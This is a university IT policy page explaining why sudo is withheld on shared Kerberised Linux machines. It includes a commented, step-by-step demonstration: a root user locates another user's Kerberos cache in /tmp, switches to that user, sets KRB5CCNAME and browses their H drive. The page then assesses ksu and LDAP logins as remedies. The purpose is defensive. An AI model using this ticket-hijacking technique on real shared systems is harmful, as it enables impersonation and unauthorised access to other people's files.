Intended audience: Users of GNU/Linux at Newcastle University’s School of Computing.
We cannot give sudo privileges on any Kerberised machine that more than one (non-NUIT) user has access to, and we should (and do) restrict even who in NUIT has access.
Standard desktop Linux machines have printer access and H drive access granted via Kerberos tickets, so these machines cannot have more than one user. Special purpose Linux machines can be set up to use LDAP-only logins, but these don’t have printer access and you should not attempt to hardcode your campus credentials, create Kerberos tickets, nor mount your H drive on them.
Why this is
Once a user with sudo becomes root, they can say su -l victim and they’ve got everything that victim has access to, including Kerberos caches, no matter what cache type. Quoting SSSD developer Jhrozek:
I would say it [Kerberos cache destruction on logout] was more important back when ccaches were stored on disk. pam_krb5 used to offer this option. But since we are using keyring now, then the ccaches are only accessible by root or by the UID of the user.
Kernel keychain caches can be read by root as stated above, and file caches on the filesystem can be read by root because root can always read the whole file system.
Once the user has a victim’s Kerberos cache, they can gain write access to all the victim’s Kerberos-secured network resources, including H: drive, S: drive, and RDW shares, and the access will be logged on the file server as being by the victim.
Exploit with commentary
At my invitation, my colleague C– SSHes into my PC. He has login privs and also sudo privs.
login as: nc--
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-39-generic x86_64)17dcompd454%
C– becomes root:
17dcompd454% /usr/bin/sudo -i
[sudo] password for nc--:
And identifies my kerberos credential cache by looking for one owned by my username:
root@17dcompd454:~# ls -l /tmp/krb5cc_* | grep nh--
-rw------- 1 nh-- 10000 6991 Nov 23 11:22 /tmp/krb5cc_364137_p1sQx2
C– uses his root access to gain a login session as me, even getting my custom ZSH prompt:
root@17dcompd454:~# su -l nh--
~ » klist
klist: No credentials cache found (filename: /tmp/krb5cc_364137)
Usually the location of the credential cache is added to the user environment during Kerberised login, but C– has bypassed that and the environment variable is unset. This is easy to fix:
~ » export KRB5CCNAME=/tmp/krb5cc_364137_p1sQx2
C– now has all my cached tickets, including the “ticket-granting ticket”:
~ » klist
Ticket cache: FILE:/tmp/krb5cc_364137_p1sQx2
Default principal: nh--@DOMAIN.EXAMPLE.COM Valid starting Expires Service principal
23/11/18 11:15:10 23/11/18 21:15:10 krbtgt/DOMAIN.EXAMPLE.COM@DOMAIN.EXAMPLE.COM
renew until 23/11/18 21:15:10
23/11/18 11:22:49 23/11/18 21:15:10 cifs/dfs1.domain.example.com@DOMAIN.EXAMPLE.COM
23/11/18 11:22:49 23/11/18 21:15:10 cifs/fsuser01@DOMAIN.EXAMPLE.COM
Finally, C– can list my H drive, no password needed:
~ » smbclient -k -m SMB3 -W domain -U nh-- -C -n 17dcompd454 //dfs1.domain.example.com/home/home01 -c "ls nh--/*" 1610579455 blocks of size 4096. 179496567 blocks available
~ »
Possible remediations
ksu
C– suggested ksu:
Ever (well normally) hopeful, I wonder if we can emulate the windows “install as local admin from H:” problem and make it a feature? By this, I mean putting krb5_ccachedir on a piece of storage that is not accessible to root. The user with sudo uses their own tickets to acquire access but cannot go any further. This might be what ksu is attempting but the manual (at MIT) is not the clearest.
Clearer docs https://web.mit.edu/kerberos/krb5-1.5/krb5-1.5.4/doc/krb5-user/ksu.html
tl;dr the manual: it doesn’t help our case. Ksu could be used as an alternative to sudo as a means of giving alice root access, by requiring that the root account grant access via a .k5login file. It doesn’t overcome our problem, which is that root has total control over and access to all parts of a Unix machine by design.
LDAP-based logins
This stops the problem of Kerberos credentials being created automatically at login without the user’s deliberate action, but doesn’t stop victim from running kinit e.g. to get access to a network printer or RDW space and then having that credential cache stolen. Even if victim doesn’t run kinit, a sudoer can see victim’s home folder, can see any shares they mount, and if victim used a credentials file, any sudoer can steal their login name and password from that credentials file. LDAP might be suitable for a lab server, but it’s not suitable for someone’s desktop PC where they will need to mount their H drive, keep their PDR, and have either hard-coded SMB creds (urgh) or a Kerberos ticket in order to print.
